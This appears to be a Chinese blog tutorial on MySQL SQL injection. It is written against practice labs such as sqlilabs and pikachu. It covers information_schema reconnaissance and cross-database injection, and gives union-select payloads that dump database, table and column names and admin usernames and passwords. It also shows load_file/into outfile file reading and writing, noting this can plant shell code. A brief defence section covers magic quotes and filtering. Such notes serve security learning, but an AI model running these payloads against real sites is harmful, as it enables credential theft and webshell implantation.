MySQL注入

mysql注入

1.信息收集

1)操作系统:@@version_compile_cs(不同的系统对数据库操作语句的大小写区分)

2)数据库名:database()

3)数据库用户:user()(专门管理数据库的账户),root为最高权限,容易导致跨站注入数 据。普通用户:只能注入自己网站。

4)数据库版本:version()(选择注入)

5)其他网站路径(进行文件读取,为高权限读取做准备)

2.数据注入

1)低版本(暴力或结合读取查询,表名,列名用猜的方式)

2)高版本(information_schema有据查询)

3.高权限注入

1)常规查询

2)跨库查询

3)文件读写


4.数据库自带方法

database()查询数据库名称

user()查询数据库用户

version()查询数据库版本

information_schema --5.0以上版本才有,储存所有的数据库名,表名,列名,可以通过查询他获取指定数据库下面的表名或列名信息

load_file():文件读取 ,

into outfile()或into dumfile(): 导出函数

5.information_shema

在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。

因为非root型的数据库是无法看见数据库表名的

数据库中的”.“表示下一级

information_schema.tables--记录所有表名信息的表
字段含义
Table_catalog数据表登记目录
Table_schema数据表所属的数据库名
Table_name表名称
Table_type表类型[system view|base table]
Engine使用的数据库引擎[MyISAM|CSV|InnoDB]
Version版本,默认值10
Row_format行格式[Compact|Dynamic|Fixed]
Table_rows表里所存多少行数据
Avg_row_length平均行长度
Data_length数据长度
Max_data_length最大数据长度
Index_length索引长度
Data_free空间碎片
Auto_increment做自增主键的自动增量当前值
Create_time表的创建时间
Update_time表的更新时间
Check_time表的检查时间
Table_collation表的字符校验编码集
Checksum校验和
Create_options创建选项
Table_comment表的注释、备注
information_schema.columns--记录所有列明信息的表
字段含义
table_schema表所有者(对于schema的名称)
table_name表名
column_name列名
ordinal_position列标识号
column_default列的默认值
is_nullable列的为空性。如果列允许 null,那么该列返回 yes。否则,返回 no
data_type系统提供的数据类型
character_maximum_length以字符为单位的最大长度,适于二进制数据、字符数据,或者文本和图像数据。否则,返回 null。有关更多信息,请参见数据类型
character_octet_length以字节为单位的最大长度,适于二进制数据、字符数据,或者文本和图像数据。否则,返回 nu
numeric_precision近似数字数据、精确数字数据、整型数据或货币数据的精度。否则,返回 null
numeric_precision_radix近似数字数据、精确数字数据、整型数据或货币数据的精度基数。否则,返回 null
numeric_scale近似数字数据、精确数字数据、整数数据或货币数据的小数位数。否则,返回 null
datetime_precisiondatetime 及 sql-92 interval 数据类型的子类型代码。对于其它数据类型,返回 null
character_set_catalog如果列是字符数据或 text 数据类型,那么返回 master,指明字符集所在的数据库。否则,返回 null
character_set_schema如果列是字符数据或 text 数据类型,那么返回 dbo,指明字符集的所有者名称。否则,返回 null
character_set_name如果该列是字符数据或 text 数据类型,那么为字符集返回唯一的名称。否则,返回 null
collation_catalog如果列是字符数据或 text 数据类型,那么返回 master,指明在其中定义排序次序的数据库。否则此列为 null
collation_schema返回 dbo,为字符数据或 text 数据类型指明排序次序的所有者。否则,返回 null
collation_name如果列是字符数据或 text 数据类型,那么为排序次序返回唯一的名称。否则,返回 null。
domain_catalog如果列是一种用户定义数据类型,那么该列是某个数据库名称,在该数据库名中创建了这种用户定义数据类型。否则,返回 null
domain_schema如果列是一种用户定义数据类型,那么该列是这种用户定义数据类型的创建者。否则,返回 null
domain_name如果列是一种用户定义数据类型,那么该列是这种用户定义数据类型的名称。否则,返回 NULL
information_schema.schemata--记录mysql中所有数据库的名称的表
字段含义
schema_name数据库名称
default_character_set_name数据库编码
default_collation_name数据库排序规则

6.相关防注入

1.自带防御,魔术引号,magic_qutotes_gpc=on

2.内置函数进行过滤,puh中如果确定数据类型,可以用is_int()判断是否为整数

3.自定义关键字过滤,如select关键字,大小写,编码

4.WAF防护软件:安全狗,宝塔,大部分都为过滤关键字

limit x,y 进行x,y的筛选

7案列

tables,columns这两个的应用

(1)爆出数据库的所有表
select id,email form member where username='kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'
--通过information_schema下的tables可以查询pikachu数据库下的所有表
(2)爆出所有的列(字段名)
select id,email form member where username='kobe' union select table_name,column_name from information_schema.columns where table_name='users'
--通过information_schema下的columns可以查询某个表下面的所有字段
(3)跨站注入

数据库A=网站A=数据库用户A

​ 表名

​ 列名

​ 数据

数据库B=网站B=数据库用户B

​ …

特点A网站只操作A网站的数据库,B网站只操作B网站的数据库

通过一个网站的数据库注入漏洞,注入另一个网站,条件:root型数据库

通过A注入B

MySQL GROUP_CONCAT()函数将组中的字符串连接成为具有各种选项的单个字符串。中间用逗号隔开

SELECT * FROM users WHERE id=-1 union select 1,schema_name,3 from information_schema.schemata LIMIT 0,1
#爆出MySQL中数据库表中的第一个数据库的名称,因为有LIMIT 0,1,所以是第一个
select schema_name from information_schema.schamata
#显示MySQL中数据库表中所有数据库的名称

1)查看当前使用的数据库

SELECT * FROM users WHERE id=-1 union select 1,database(),2 LIMIT 0,1

1)爆出所有数据库名字

SELECT * FROM users WHERE id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata LIMIT 0,1
#爆出MySQL中数据库表中所有数据库的名称,并且用逗号分割,也是应为limit的限制
#因为users查询出来的是三个字段,所以联合查询查询出来的也是要是三个字段

2)爆出的bees数据库下的所有表

SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='bees' LIMIT 0,1

3)爆出bees数据库下的bees_admin表的所有字段

SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='bees_admin' LIMIT 0,1

4)获取指定数据

获取用admin_name,admin_password两个字段的数据

SELECT * FROM users WHERE id=-1 union select 1,admin_name,admin_password from bees.bees_admin LIMIT 0,1
#注意后面要指定查询数据库下面的表bees.bees_admin,即bees数据库下的bees_admin表

(4)文件读取
select load_file('C:/inetpub/target/sqlilabs/.txt')
#注意添加冒号与斜杠的写法

[常见load_file()读取敏感文件]((18条消息) 常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客)

①文件读取的类型

  • 读取服务器默认路径对应的文件
  • 读取随机路径的文件(网站路径)

②路径获取的常见方法

  • 报错显示(乱输入信息爆出一些文件路径),
  • 遗留文件(站长调试时留下的文件),
  • 漏洞报错(明确搭建的平台,搜索相关的漏洞,来获取文件的路径),
  • 平台配置文件(读取读取配置信息来获取网站的文件的路径)
  • 爆破(网站的常见路径,不同系统常见的路径,没办法的办法)

③文件的读取

SELECT * FROM users WHERE id=-1 union select 1,load_file('C:/inetpub/target/sqlilabs/reds.txt'),3 LIMIT 0,1

读取的内容为:sqlreadfile

④文件的写入

SELECT * FROM users WHERE id=-1 union select 1,'x',3 into outfile 'C:\\inetpub\\target\\sqlilabs\\write.txt'-- LIMIT 0,1
#注意后面有--注释,在url中要--+来进行注释

当把x的内容换成shell代码后就实现了恶意代码的植入

  • php魔术引号的过滤(内置安全开关)magic_qutotes_gpc(php的安装目录下面)

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,对__GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。防止sql注入

当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线。这些转义是必须的。
php中的magic_quotes_gpc是配置在php.ini中的

一、当PHP magic_quotes_gpc=on
如果此时你对输入的数据作了addslashes()处理,
那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。
如果仅为magic_quotes_gpc=on,无再对写入数据库的字符串未经过任何处理。从数据库读出的字符串未作任何处理,则sql语句顺利执行,数据成功写入数据库,数据库保存格式和输出数据格式都和输入一样,不带反斜杠

二、当PHP magic_quotes_gpc=off
必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出
因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。数据库保存格式和输出数据格式都和输入一样,不带反斜杠

  • 效果

  • 解决方法,对路劲进行编码,把路径进行hex(十六进制,不添加单引号)
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

remandancy.h

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值